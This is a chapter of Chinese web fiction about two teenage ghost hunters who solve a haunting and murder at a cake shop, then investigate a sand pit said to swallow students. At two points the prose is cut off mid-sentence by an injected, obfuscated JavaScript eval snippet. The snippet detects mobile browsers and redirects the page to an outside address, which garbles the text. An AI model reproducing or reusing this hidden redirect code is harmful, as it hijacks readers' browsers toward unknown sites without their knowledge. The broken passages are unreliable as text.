《[捉鬼师后日谈] 三人行,雾未散》
1. 蛋糕店剁肉案
夏日炎暑。
柏油路晒得酥软,前些日子还支棱着脖梗的野花,这会子蔫头耷脑地蜷在道牙子边上,花瓣儿蔫得像焯过水的菠菜叶。日头毒得能晒出人油来,偏生公园老槐树底下乌泱泱围了圈人,后脖颈子都沁着汗碱。
树荫张开它魁梧的臂膀,将底下的人们拢住。细瞧各个圆润的下颚与豆芽菜般的身段,能发现是群中学生;圆睁着眼,提着气儿,聚精会神地顶着树干庞的一方桌。
桌庞立着一大一小。
男孩约莫十四五,鬓角汗津津贴着红丝线耳坠,顶着头被汗凝固成的翘灰毛,左边耷拉着搓发。他眼尾上挑,脸颊弧度如弯弯的月牙儿。
小些的女娃矮两个头,齐肩发参差如燕尾,睫毛扑簌簌在圆脸上打扇影,倒像年画里捧寿桃的童女。
裁判员舔着指头翻题本,纸页哗啦响。两盏红钮钮在棋盘上灼灼发亮,映得女孩攥衣摆的手背泛白,男孩指甲盖掐得倒翻白。到底裁判清清嗓子:“最后一题,请两位选手最好准备——”
“在一张从未标注国名的地图上,你只看到以下信息:A地是一座海拔最低的内陆首都,年降雨量极少,被两片盐沼环绕。
B地是一条世界最长河流的源头之一,全年气温变化极小,附近高原草甸绵延。
C地是一块年降水量最高的地方之一,坐落在“世界第三极”的东南边缘。
请问:A、B、C三地分别位于哪三个国家?”
女孩抬起了手,可红钮钮已叫男孩拍得脆响。
小鹊哭了。
秦梧用眼偷偷瞄她,只瞧见个倔强的后脑勺,发旋儿随着抽噎一颤一颤的。
他只得加快步伐,绕到女孩面前,露出一个半是尴尬半是讨饶的笑容,边倒走边道:“你…你别哭了…人吃五谷哪能样样全?你都在那么多地方赢我了,偶尔输一次也是常情。”
他轻咳一声:“何况我也不菜…不是,俗话说得好,失败乃成功之母;就像考试刷题一样,发现漏洞就补,不意味着你会输一辈子呀?要像这么算,我该把护城河哭涨了。”
他越说越觉得有理,可小鹊没理他。她还在使劲儿把脖子往后扭,跟只猫头鹰一样,却扭得脖子生疼还犟着不回头,只得掉眼泪更凶,声音也带了抽泣。
秦梧吓一跳,拦住气势汹汹朝前走的女孩,伸出去捧住那张泪涔涔的圆脸。小鹊抬头,一双虹色的眼睛湿漉漉的,睫上挂着泪珠,嘴巴抿出了血色。
一双虹色的眼睛。
秦梧无论看多少次仍要赞叹自己青梅的眼睛。小鹊,或林鹊清,是虹膜异色症患者。
只不过他人的症状大都是异瞳,或是眼底的色斑,她则生了双如容纳了光谱所有颜色般的虹膜。粗看,漾着七色晕彩,像是打翻的颜料缸浸了山泉水。细看,见它们仿若活物般游动,怎么都瞧不真切。
这本该引起警惕,毕竟这说起来就很像一桩怪谈,而年少的捉鬼师对此最为敏感。可偏生这两人是青梅竹马——这双招子秦梧瞧了整十年。打从他看她在襁褓里躺着到抓周起,林家丫头的阳气就旺得能点灶膛;旁人瞧着稀罕的异色瞳,也如横撇竖抐一般,成了秦梧的理所当然。
话又说回来,少年赶忙去掰她嘴皮子,口中咋咋呼呼却又不失温柔:“哎呀,别咬嘴唇啊?我错了,我错了不行吗?”
“我们小鹊最厉害,比我厉害太多了。你想呀——”他掰着手指数:“无论是画符、捉鬼、数学、外语……”
似是自己念着有些郁闷,他加快了节奏:“总之,什么你不比我强?我们小鹊冰雪聪明、聪明伶俐、天资聪颖…唔唔!”
小鹊踮脚去捂他的嘴巴,但好歹是破涕为笑了,笑骂道:“你个坏蛋!”但大抵是小孩,她又咯咯笑着抹眼泪:“就你这张见人说人话见鬼说鬼话的嘴,我才不信呢~”
“我没因为输哭,只是…”似乎有些羞耻,又不知如何解释输了不自觉哭鼻子的囧事,她抹了把眼睛,似是瞧见了什么,然后突然揪住他校服拉链往下扯,露出少年锁骨处贴着的冰凉贴。秦梧“嗷”地捂住领口,却见那泪痕未干的脸蛋绽出笑容:“只是抓住某个偷偷解暑的坏蛋,被活生生气得。”
秦梧愣神的刹那,女孩已经踮着脚转起圈来:“若不是我手速慢,你早已是我的手下败将。哼哼,知道输在哪儿吗?”她背着手倒退着走,倒打一耙:“你记国家首都总爱记现任总统的发型!”
"哎呀…这不…看你也不热嘛……”他其实包里带了冰凉贴,却心系比赛,一时忘了。
他有罪。
“那你说A地总统最近剃的板寸还是莫西干?”小鹊鼻尖几乎撞上秦梧突然凑近的下巴。早已习惯青梅天马行空的少年指尖转着枚乾隆通宝,笑嘻嘻附和,钱眼印着女娃挂着的泪珠。
“莫西干头总统最怕什么?”他忽然将铜钱一掷,又耍帅得接住,指指她的眼角:“怕空调外机滴水!”
小鹊一愣,然后噗嗤笑出声。秦梧趁机摸出张黄符往她刘海一贴,朱砂写着“必胜”。
“好了,这下不哭了了吧?有了秦大侠的祝福,你必然在以后的比赛里所向披靡~”
“我才不需要呢!”
现在还早,不想回家的两人在去便利店买了两杯冰奶茶。
秦梧正蹲在共享单车后座刷论坛,汗津津的指尖把屏幕划出油印子:“又有新活了。蛋糕店出了怪谈,说冷库半夜有剁肉声。”
见小鹊偏头,秦梧把手机斜了斜,屏方便她看得更清楚,“观者调了监控。你看这排水管的反光——”
小鹊伸出指尖划过屏幕,将视频放大至像素点。只见一拘魂符赫然贴在房间的犄角旮旯处,一旁则摆着一瓷娃娃。本应藏在阴影中的邪物被金属照得一览无余。
“这也太不隐蔽了吧?”秦梧吐槽。
“是呀是呀。人家养小鬼恨不得里三层外三层包起来,刨个地窖,外头再加把大锁。店主倒好,直接把‘我很可疑’印在脑门儿上了。”小鹊附和,又很快开始天马行空。
“你说我要是进去挑十个冰淇淋蛋糕,观者能给我报销吗?”
“你是不是忘记了他们上周是怎么驳回我们火锅店的报销单的。”少年把空奶茶杯捏得咔咔响,“学生不能算正式工,亏这人说得出来,压榨我们的时候倒没顾虑过我们是小孩子吧?”
“大人就是这样的啦~”
“走了。”两个小时后,蹲在门口的少年肘击她肋骨。透过玻璃窗,只见穿花围裙的店长正与客人笑谈,然后起身送客。
“装成怪谈社的?”他话音未落,小鹊已经蹦了进去,瞪着双圆溜溜的无辜眼:“叔叔!我们是一中地理兴趣组的,能向您请教慕斯蛋糕保存的湿度数据吗?”
秦梧无奈跟上,早已习惯了青梅的跳脱。
“不好意思,小妹妹…最近店里实在忙碌,没有时间带你们参观。”店长,附近人都知他叫周龙旭,露出一个遗憾的笑容。
周龙旭四十三,瘦瘦的,个子不高,说话总带点笑。他的头发有点儿花白,从不刻意去染,梳得整整齐齐,像他店里码得齐整的泡芙,一颗一颗,稳当得很。
小鹊蔫吧吧地“噢”了声,随后将手机横过来,指尖划过电费账单:“可是周叔叔,我也是为了您好呀?”
“此话怎讲?”
“当然是您家冷库七月用电量。每天凌晨三点到五点,这个功率...恰好我们生物课上学过了!持续恒温与湿度,正适合某些..特殊经济作物呢!”
“眼见为实,我们这不是为了您的清白嘛?”
店主手中的裱花袋“啪”地炸开,似是全然没想到眼前这个女娃会口出惊人:“胡说!我怎么……”
这是两人早商量好的计策。彼时的秦梧正苦恼怎么溜进冷库。“这不简单?”小鹊笑得像只小狐狸,举着手机调出市政电网:“一点小小的p图帮助~”
“这数儿往上添个零,保管周老板跳脚。”见秦梧不解,她解释道:“那拘魂符的笔画生涩得很,一看就是不懂行的人画的。再加上鬼怪作祟扰乱磁场,也会体现在电力上——冰柜多费些电也是寻常事。我查了查,蛋糕店大约是六月份开始出现电力异常的,这个月的电费账单又还没下来……
“咱们只当灶王爷查账本,给他描几笔红,他准信的。而高耗电量,则容易让人联想到……”
回到现在,见柱状图像春笋似的节节拔高,周龙旭喉结滚了滚,笑得勉强:“这是给慕斯定型用的恒温箱,确实耗电量大了些…”
“是吗?可这种电耗曲线,却很像农场的水培系统噢”.
秦梧默契地压低嗓音,“我听了些小道消息,说最近风头正严呢…”
周龙旭猛然后退,险些撞翻糖霜罐头,“两个娃子劲胡扯!我现在就带你们看!”
秦梧耸耸肩,在背后对小鹊口型:“就这?”
小鹊笑眯眯地口型:“就这。”
冷库门吱呀推开,白雾裹着奶腥味涌出来。
“现在的学生真用功。”周龙旭腮帮子抖了抖,笑得僵硬得像块冻坏了的黄油,介绍:“这些是除湿机冷凝水...”话音未落,小鹊早泥鳅似的钻进去。
“小心点啊!”秦梧忙跟在她身后,但也佯装不小心地把东西弄乱,趁机寻觅线索。
得知养小鬼是真,可剁肉声又是怎么来的呢?
“等一下,那个别…”周龙旭还未来得及阻止,小鹊已将沾着星芒糖霜放进嘴里,然后皱着脸嫌弃道:“糖放多了。”品着品着,瞳仁地收缩,“还有…铁锈味?”
她拽着秦梧袖口指向彩虹蛋糕,语调有些故作委屈:“周叔叔,划伤了手就该好好包扎,做蛋糕作甚?不仅容易感染,还不卫生。”
周龙旭脖颈爆出青筋:“小同学别乱说!”那副温和大叔的模样彻底维持不住了。更加雪上加霜的是秦梧突然伸手去摸冰柜边缘:“哎呀好凉!”
周龙旭冲来阻拦时,少年顺势撞翻糖粉罐,雪雾里睁开的阴阳眼见个白白胖胖的小鬼蜷缩在角落,还有…一穿围裙的虚影正抡刀剁着什么。
周龙旭后槽牙发出咯吱声。
“叔叔,您家排水管是不是通老菜场方向呀?”不知何时猫在角落的小鹊抬头,似是发现了什么。秦梧也凑近,见铁锈斑驳的管壁涌出股子腌臜腥气——正是那头飘来的怨气。少年捏着鼻子嚷:“哇,这霉味!”
照明灯管滋啦爆响。陈明华的魂儿抡圆了胳膊剁冰层,每刀下去都震得瓷偶琉璃眼珠转半圈。
这是最后一根稻草。
在周龙旭发作前…“哎呀社团活动要迟到了!”少年拽着小鹊就往外跑。
两人顺着怨气一路走。
废弃菜场躲在一片老居民楼背后。入口的铁闸早生了锈,铁皮卷起一块,像是张开的老猫嘴,吱呀作响。门口的对联只剩下“诚信经营”几个字,褪得近乎桃粉,边角翘着,仿佛手写的诺言被岁月搓掉了骨头。
秦梧先一步蹿了进去。他似乎在寻找着什么,直奔告示墙而去。
墙上一张泛黄的复印纸,纸上“食品安全行政处罚决定书”几个字歪歪扭扭,但还清晰。秦梧拿
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15835164|175640||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
手机拍了一张,凑到小鹊身边炫耀:“我就知道!老陈鲜肉铺,几年前被罚的。”
“你找这做什么?”小鹊狐疑地看了他一眼。
“这你就不知道了吧?我爸爱去老陈家买肉,一来二去也就熟了。说这“这老陈鲜肉铺”与“蜜糖蛋糕坊”本是并蒂莲似的邻居,可四年前,检疫局在蛋糕坊查到劣质奶油。周龙旭死活咬盯是肉铺老陈举报。老陈死活不认,可不久后他的冷库里也出现了过期肉,被查封。”
“最后肉铺老板陈伯泽破产后抑郁而终,其子陈明华放弃高考,去年以学徒身份进入蛋糕店,并于一个月前出游。”
“喂…你有没有在听?”
小鹊没理他,只蹲在排水沟前。小姑娘的碎花裙摆扫过泥水。捏着半截狗尾巴草,正往排水沟铁栅里掏弄。
秦梧可怜巴巴地看着青梅,手腕侧着不让对方看到是问观者查到,而非自己“消息灵通”得来的信息,渴望得到夸奖。
排水管汩汩渗着水珠。小鹊忽然把泥团掰开,几星胭脂色的碎屑嵌在青黑腐土里。“秦梧,”她转过脸,鼻尖沾着泥点,“你说冷库的排水管,是不是连到这里?”
秦梧一愣:“你怎么连这个都想得出来?”
但这无疑是白问。
排水管里滔天的怨气扑面而来,呛得齁嗓子。还有……秦梧喉咙发紧。水漫过运动鞋边,混着青苔、蛋壳、塑料薄膜,还有某种粘稠的暗红。鞋带子缠着几缕褐色纤维,随着水波轻轻摇晃。
“似乎已经超出我们处理的范畴了呢…要报警吗?”"他摸出手机。但手还没举起来,小鹊就轻轻按住了他的手背。
“不要嘛。”
她仰起头看他,眼睛亮得像偷喝了桂花酿。
“难得卷入这样一场涉及生死的大案,你不兴奋吗?”
秦梧知道他该阻止。身为两人之间稍有理智的那一人,他脑子里转过一大圈什么法律责任、现场保护、非职业人士不得介入刑案之类的词儿,最后却统统像石头掉进了水里,没起半点声响。
他们是孩子。
但孩子也会有想做英雄的时候。
“就再查一点点吧,”他轻声说,好像这样就能减轻些责任似的,“至少……要把鬼超度了。”
他说完,抬头看小鹊。她已经兴冲冲地沿着排水沟往蛋糕店方向走了。
冷库白炽灯管蒙着层冰霜,像蒙冤者浑浊的眼球。
“给观者发了消息,不至于进了冷库后出不来。”秦梧放下手机,看向青梅。
陈明华的怨气是从西墙的排水管里渗出来的。秦梧嚼着糖,看黑气沿着铁管蜿蜒生长,渐渐凝成穿蛋糕店制服的半少年半黑雾的轮廓。
那虚影右手始终藏在背后。
“我觉得你会想知道,周龙旭死定了。”小鹊突兀地打破沉默,声音脆得像掰断藕节。她笑嘻嘻地背着手:“你是在排水管里吧?说不定还混了一点进蛋糕…噫,真是恶趣味。总之,一验便知,凶手反正是逃不掉咯~”
“你爸的赔偿金很快也会到账的。"怨鬼喉咙里发出咕噜声,背后刀光暴涨。
秦梧拉着小鹊顺势滚进堆满慕斯盒的推车底下,也拿出黄符,往那怨鬼身上扔。可符纸堪堪擦过怨鬼耳尖,粘在冻硬的提拉米苏上。
小鹊吹了声口哨。
“笨手笨脚。”女孩蜷在推车底笑。她钻出来时发梢挂着可可粉,倒像偷吃蛋糕的狸奴。“梅雨酿不出好奶油。”她踩着满地狼藉转圈:“但能养出带血性的魂灵呀...”
“辛苦你了。”小鹊突然一窜,往那怨鬼额间贴符。见鬼痛苦得消亡,她有些轻飘飘地道。
想来事情的始末也清楚了。不愿一人下水的周龙旭暗中在老陈家的冷库投放过期肉导致其停业整顿。其子隐姓埋名做学徒,欲报复,却被周龙旭反杀,只得成为怨鬼。
这种抹除受害者的感觉很不好。秦梧感觉他们如周龙旭的帮凶,只得安慰自己他也将被绳之以法。
他偷偷去看小鹊,去见女孩依旧如常,蹦蹦跳跳地走到小鬼面前,也往它头上贴了张符。
冷库铁门"吱呀"裂开缝时,秦梧抬眼就瞧见秦观海倚在运冰车上啃盐水棒冰。“老家伙。”他嘟囔着扯掉肩头残符。
见秦梧灰头土脸钻出来,大叔抬脚就踹,皮鞋却在触及裤腿时卸了劲,只蹭下半坨冰渣。
“臭小子胆儿肥了?”他从工装裤兜掏出保温杯,杯底“咣当”磕在运冰车铁皮上,“毛都没长齐就敢扯入凶杀案,你当是过家家呢?”
小鹊正猫腰从警戒线下钻过,忽觉后领一紧。秦老爹不知何时闪到身后。“老秦头!”姑娘蹬着脚抗议,“你当提小猫呢!”
“林家丫头更出息。”秦观海从鼻孔哼出声,指尖却飞快掠过她脉搏,“就是你拉着我儿子一头扎进凶杀案的吧?”他忽然往小鹊掌心塞了块桂花糕,油纸包还带着体温,分明是蹲守时一直捂在怀里的。
“这会看在你两有功的前提,就不计较了,下回可不轻绕嚄?”
穿制服的警官捏着笔录本过来,秦老爹瞬间堆起笑纹,从裤兜摸出包挤皱的烟:“同志辛苦,我家小子社会实践给您添乱了。”
穿灰西装的观者们也在给警察递烟。小鹊笑眯眯过来点秦梧的肩:“他们说是冷库氟利昂泄漏致幻。”她冲秦梧眨眼睛,睫毛上沾的冰晶簌簌落下。
“我们这次可是大英雄了呢。”
“大英雄个皮!”秦观海忽然甩来两件旧夹克,“披着!”他拧钥匙的手背青筋暴起,“你两当自己火炉成精?”
2. 梦与沙坑
开学的天气闷,活像叫秋老虎叼走了魂。秦梧热得蔫儿,又因为身为新晋男高的自尊心不愿穿凉鞋,只得眼巴巴看着小鹊趿着凉鞋走过来。
少年蹲在门口啃粢饭团,糯米粒粘在嘴角。见青梅晃过来,忙用袖口抹嘴,“你来晚了。”他指着教学楼顶的铜钟,"再晚半刻,我两今日都得罚站。"
“我算准了的。”小鹊把一冰镇矿泉水贴他脸上,冰得少年一激灵,“教导主任训话要半小时,值日生擦黑板需一刻钟,发课本少不得十分钟...这会儿去,正赶上点名。”
可惜没能如她所愿。当秦梧率先猫腰从后门溜进去时,就见皮笑肉不笑的数学老师。“你俩倒是会挑时辰。” 这位数学名师常年带着三分讥诮,此刻倒像逮着耗子的猫:“要我恭迎年级一二的大驾光临吗?”
“不敢不敢。”面对鬼怪都不曾屈膝的秦梧,就这样拜服了。他感觉自己像后宫剧里的小太监,点头哈腰谄媚道:“我不过会耍点小聪明,还要指望徐老师多指教。啊哈哈…对吧,小鹊?”
秦梧笑得脸都快抽筋了,眼神飘向身侧,求助似地冲她使眼色。
小鹊倒是不慌不忙,笑眯眯地朝讲台一鞠躬:“徐老师息怒嘛,您看那戏台子上的角儿,哪有踩着锣鼓点第一个登场的?”这话不奇特,奇特得是她说话的口音。脆生生的普通话掺着不知从谁那里学来的吴侬软语,甚至还带了戏曲的调子。
教室后排已经有同学憋不住偷偷笑出声了。
徐老师翻了个很不斯文的白眼:“伶牙俐齿。”话是这么说,点名册却翻过新页,“还不入座?”
“好咧~”待秦梧坐好,小鹊在他旁边落座,笑:“我就说会没事吧?”
秦梧把课本立起来挡住脸,小声道:“你别害我,我还想好好活到期末。”
小鹊撑着脸看他: “放心啦,我罩你。”
上午的课程总是漫长的。
老徐捏着激光笔在投影幕布上画圈,红光扫过小鹊课桌上垒成小山的竞赛题集。“某些同学,”他故意把激光点停在她面前的鬼画符上,“别仗着跳级就搞特殊化。”
小鹊正往活页本上画画,闻言自动铅笔芯“啪”地折断。秦梧在后排憋笑,腕子一抖,把草稿纸洇出个圆斑。可怜的满分的卷面就这样失去了整洁。
“一个两个的…秦梧!”老徐的戒尺敲在讲台边,“上来解这道压轴题。”少年慢吞吞起身,在黑板上洋洋洒洒地写了几行精心练就的瘦金体。
用最困倦的姿态写最超纲的解法。
小鹊忽然举手:“老师,我的方法更简练。” 她得到许可后蹦上讲台。
不是吧?还让不让自己耍帅了?秦梧圆了眼睛。
粉笔头相击迸出火星子,函数图像在两人笔下开枝散叶,渐渐织成张太极八卦图。老徐也从最开始的欣赏,到逐渐失去耐心,最后把保温杯往讲台重重一磕:“你俩当这是奥数夏令营呢?”
暮色漫过老巷口,铁铲与铁锅磕碰出金玉之声。小鹊抱着袋售货机买的薯片,口中满是嘎吱脆香。
秦梧推了推她,示意女孩给自己也分一点。小鹊笑着打开袋子…然后一股脑地把剩下的碎渣从豁口通通倒入口中。
秦梧目瞪口呆。
秦家小楼卧在树阴里,在斑驳的光影下,远看倒似幅写意画。秦观海蹲在门廊修自行车,听见脚步声头也不抬:“臭小子又带童养媳回来蹭饭?”
“老家伙积点口德。”秦梧甩开运动鞋,“今儿灶王爷都听不下去,保准让你煮饭夹生。”
小鹊倒是不羞不恼。这女娃一副心思完全不在这上面的模样:“秦叔叔今日修的这车,铁链响得比铜锣呢,开起来也定利索。”
她弯腰看那辆老式二八。秦观海这才抬头瞥她一眼,鼻子里哼了声:“这会儿不叫老秦头了?你丫也就嘴皮子利索——上次做饭煮成两斤浆糊,黄二小都不肯添。”
“可秦梧吃了两碗呢。”小鹊歪头看秦梧,“是不是?”
“我那是饿得快饿死了!”秦梧脱了鞋,冲进屋,“今天我要主厨!谁都别跟我抢锅铲!”
秦观海笑得发抖,“小鹊啊,你得盯着点,别让他把拖鞋都炒了。”
“好嘞!”
最终,秦梧还是没能炒成菜,因为他爱看的宫斗剧开播了。
斜窗漏进最后一缕霞光。小鹊正蜷在懒人沙发里啃泡椒凤爪,眼睛直盯着的片头曲:"这祺贵人眼线画歪了,该重描描。"秦梧把可乐往她手边推,闻言也抬头,认可道:“可刚刚的画面还是好的,应当不是同一天拍摄。”
随着“下来端菜!”的喊声,砂锅盖被蒸汽顶得噗噗跳,莲藕排骨汤里沉着枸杞。
“这么养生?”秦梧有些嫌弃,青春热血的少年自认与这种萎靡的养生食物不相干。
“治治某人的阴阳眼。”秦观海从冰箱拎出啤酒,“省得成天见鬼。”
他的话意有所指。
随后秦观海把鸡腿夹进小鹊碗里:“林家丫头多吃点,别学某些人瘦得跟旗杆儿似的。”秦梧在桌底踹他老爹的靴子。
秦观海却毫不在意,边喝酒边哼小曲。
小鹊倒是乐呵呵地接受了那只鸡腿,听逐渐上头的秦观海开始抱怨工作,说自己像个冤大头:“老子天天对着群青面獠牙的冤大头,活似那阴曹判官批生死簿!这批不打紧,还遇上个齐天大圣来,把他的猴子猴孙的好账赖账都一笔抹了。”
“那不就跟秦梧一模一样?”小鹊咂着骨头,一本正经地点评,“被我按着头查案,被宫斗剧拿捏,被莲藕汤收服,啧啧,人生真艰。”
秦梧瞪她:“你再编排我试试。”
“那你咬我呀。”小鹊冲他龇牙一笑。
秦梧觉得他不该跟小孩子计较。
饭桌上热气腾腾,残渣碗里堆起半座山。窗外卖关东煮的小推车的铃声刚熄,远处电视声又响起来了,祺贵人终于扳倒了皇后的表妹,正得意地端着燕窝盅走进镜头。
“这盅燕窝怕是冰过头了,”小鹊点评,“冒冷气,得重拍。”
秦梧嘴里塞着藕,含糊着回她:“哪像你,连吃泡椒凤爪都能点评宫廷膳食。”
小鹊朝他眨眼:“这叫身临其境,侦探的基本修养。”
“你那点‘修养’,也就能哄哄节目组请你去上吃播。”秦梧撇嘴,心底却又觉得这样也挺好。
有锅有饭,有人打趣有人踹靴子,有宫斗剧也有泡椒凤爪,哪怕一日三餐中间掺着尸骨与怨气,起码这一刻,他们是活人,是会笑会争的少年人。
而那些死去的,失去声音的人——他们可以等一等。
饭后,两人在房间打游戏。“当年娴妃要是会引雷咒...”小鹊咬着鱿鱼丝含糊道,“哪用得着剪头发赌咒。”秦梧偷摸把游戏暂停,摸出手机录她这通歪理。
到半夜,小鹊窝在折叠床上数窗外的星星。秦梧在床上翻了个身,“晚安,“他嘟囔着,合眼陷入了睡眠。
……可那一觉沉得古怪。
梦中先见着团青雾,雾里浮着宫斗剧的片尾曲,弦乐声被拉成蛛丝,缠住他。
秦梧还没挣脱,却见小鹊从雾里转出来,欣喜之下正欲开口,却见女娃娃裙摆扫过之处生出朵朵血色花朵,花瓣上却睁着人眼。
她就这样笑着,虹膜里的鎏金色突然暴涨,眼白处爬出蜈蚣状的符文。
在他惊恐的目光下,她的脸开始从中间裂开,眼球里长出触须般的血丝,一只眨眼竟分出三重瞳孔。她的声音依然是她,却像从另一个宇宙传来,一字一句都拖着无数个回音,像是上千个“她”在同时发声。
“你看得见了吗……?”
她朝他伸出手,指尖瞬间变形,抽长、崩裂,像藤蔓,又像钩爪。骨头在皮肉下不断翻滚,如生物进化图被反复快进。
秦梧看见无数个重叠的时空——每个时空里的小鹊都生着不同的非人相:有时是头发化作浮浮沉沉的磷火水母,有时是脊椎骨刺破校服长成珊瑚树,枝桠上结满淌着脓血的果实。而她的眼睛无一例外均是那游动的虹色。鎏金色裂解成无数游动的微小人面,每张脸都在用不同语言呢喃。
看呀,这才是真正的阴阳眼。一个声音告诉他。
“别……看我……”
秦梧的喉头有些紧,一点声音也发不出。
厉鬼形态的小鹊忽然又缩回人形,眼角带点狡黠,像刚偷吃完辣条的样子。她踮起脚尖往他这边跑来,脚步轻快得不似人间。
“看着我,秦梧,”她说,仿佛只是在闹着玩,“我死了的话,你会哭吗?”
他想冲过去拉住她,脚却像灌了铅,只能眼睁睁看她在他面前笑着——碎了。
是的,整个人碎成无数碎片,从头发、眼睛、指尖,一片一片像摔碎的陶瓷娃娃那样裂开,笑容却还挂在唇角。
秦梧不知自己呐喊了什么,只觉得声音破碎得像撕裂的布。
然后他猛地睁开眼。房间里昏黄的夜灯还亮着,窗外蟋蟀声此起彼伏。
小鹊在那张折叠床上睡得不老实,被子踢到一边,一条腿挂出床外。脸还朝着他,睫毛轻颤,嘴角隐隐翘着,像是在做什么甜甜的梦。
秦梧躺在原地,背脊一片冰凉,手心都是汗。他定定看着她好一会儿。确定那呼吸是真实的、柔软的,才像泄了气一样重新倒回床上。
“秦梧,”小鹊忽然迷迷糊糊地咕哝了一声,“你看,今天星星好多……”
“……嗯。”
时间来到不久后。
小鹊刚在月考卷上画了只简笔梅花鹿。监考的徐老师踱过她身边,倒吸口气——这丫头提前四十分钟答完卷,又开始洋洋洒洒发挥艺术细胞。
秦梧咬着笔杆斜睨那抹跳脱身影。他正卡在最后道几何题。
他们总这般轮流登顶。秦梧爱极了解题时那种青橄榄似的涩,以及解完那喷涌而出的成就感,小鹊却把学习当跳房子游戏。
用徐老师的话来讲,这两个孩子解题,一个像绣娘穿针,一个似庖丁解牛。
用同学的话来讲,这两人一个疯了,一个卷得跟胶带一样。
“秦梧文科强,小鹊理科猛,两人放一块儿就跟五虎断门刀似的。”有同桌私下评价道。
“错,他俩是双核处理器,内卷发动机。”
“我看是秦梧被小鹊卷得没脾气。”有人不服,“昨天物理课上,小鹊问他电磁波传播速度怎么算,他咕哝一句‘先别说话,我得先找颗子弹崩自己冷静一下’。”
写完卷子,走出教室时,两人撞上汤嘉维。
“喂,你俩听说没,隔壁有所中学沙坑出事了。”汤嘉维语气活像在念悬疑小说,“说是有学生在练习立定跳远时,脚刚落地就给吞下去了,整个人咕噜一下没影儿了!”
小鹊淡定道:“可能是考前焦虑太严重,想钻地缝。”
“还是你会找借口。”汤嘉维一脸钦佩,“我宁愿相信沙坑成精。”
秦梧却只是挠了挠后脑勺:“别信这种鬼话,沙子都能吞人,那蚊香灰该上天了。”
放学的时间点,秦梧就同往常一样路过那所传闻中的中学。
小鹊今天值日,难得不在。
这时候,天上掉下来个汤嘉维,啰里啰唆地念叨着什么“作业借兄弟抄抄。” 这人简直像块烤糊的牛皮糖。“第三大题步骤忒玄乎,老班准是从黄冈偷的题......”
秦梧嫌他烦,只有一搭没一搭地回复,直到——
“你知道这学校以前还有个怪谈吗?说是有个长得很帅的男老师因为遭人嫉妒而被杀害。”
云絮正巧掠过西天,将教学楼的影子拉成细长的灰绸带,恰恰裹住操场角的沙坑。汤嘉维突然压低嗓子:“当时尸体找了很久都没知道,大概过了两三年才在这沙坑地下挖到,不过早就烂成一堆白骨了!”
秦梧不理他。
“哎哟你就装吧你。”汤嘉维不依不饶,“我知道你那一套,越装没兴趣,晚上你跑得比谁都快。”
“没有的事。”秦梧漫不经心地翻了页书,声音懒洋洋,“今晚我得给黄二小洗澡。”
“不是说上周洗过了吗?”
“哦。”他想都没想地回,“那要捉跳蚤。”
汤嘉维还在喋喋不休。
秦梧摩挲着手中书脊的毛边,忽觉指腹发黏——不知何时沁出的冷汗,竟把铅字都洇糊了。汤嘉维还在比划腐尸如何生蛆,他却瞧见沙坑腾起细密的黑雾,如蛛网缠住秋千铁链,缠得锈迹里渗出暗红的泪。
看来这故事,大概率不是谣言了…
小鹊看来也知道了,因为她不久后给他发消息:【今晚十一点,涉案学校后门汇合。】
秦梧秒回:【
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15835165|175640||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
凌晨两点。最近老家伙抓得严。】他将手机调为静音,收进口袋。
夜深后,他会悄悄走。他不能带上她。
自那天晚上后,秦梧又做过梦。梦中,穿校服的自己正举着手机录像。镜头里的小鹊回头一笑,虹膜炸成万花筒,每个棱面都映着不同死状——溺亡的浮肿、火烧的焦黑、吊颈的青紫。
他当时醒了,全身冷汗。
有些梦说不清是预兆,还是诅咒。
秦梧只知道,像她那样的人,不该跟着自己往深水里走。
十点五十。帆布鞋底还沾着半片被碾成泥的花瓣,秦梧准时来到学校。
远处传来谁家孩子的哭声,混着黄二小的咽,倒颇有些瘆人。沙坑在月光下泛着惨白,怨气凝成实质的藤蔓,正往外爬。
在艰难地把自家那只大肥狗推进狗洞后,他也自己钻了进去。
“你这身膘该减了。”秦梧屈指弹狗耳朵。黄二小忽然支棱起耳朵,油亮的皮毛下肌肉绷成弦,冲着沙坑方向龇出獠牙。少年忙箍住它的嘴筒子,惊呼:“小心把保安招来!”
在安抚完自家狗后,秦梧吞咽着口水,往沙坑底一看。夜晚难看清事物,此时的沙坑更显得像无底洞,若是凑近了还能感受到呼啸而过的风,恐深度早已不止五六米。
在告诉黄二小“要是我没有上来,你就替我去找那老家伙,叫他过来救我后”,他说罢便翻身下了沙坑。
黄二小的呜咽卡在喉咙里。沙坑壁触手湿冷,如吸饱了月光。越往下,风声越似呜咽,卷着沙粒往领口钻。
抬头望,洞口缩成枚昏黄的铜钱眼,再缩小,缩小…直到不见。
月亮还没爬到正中,正好挂在操场旗杆的铁绳旁边,旗绳也不知怎么的动了一下,发出“当”的一响,像是哪家老钟敲漏了点儿。
已经撒了六泡尿的黄二小迟疑了一瞬,抬头望了望月,又回头看了看沙坑,像是在下定决心。“嗷呜”一声后,它终于蹬开腿,朝着校门口一路小跑。
张大爷的搪瓷缸刚沏上碧螺春,忽见团影子掠过栅栏。“哪来的野狗!”他骂声未落,黄二小已滚过减速带,肚皮蹭着柏油路,蹭出串火星子。
它原本就是条肉多的狗,跑起来不利索,肚皮一晃一晃。有人见了,还以为哪家丢了烧鸡。
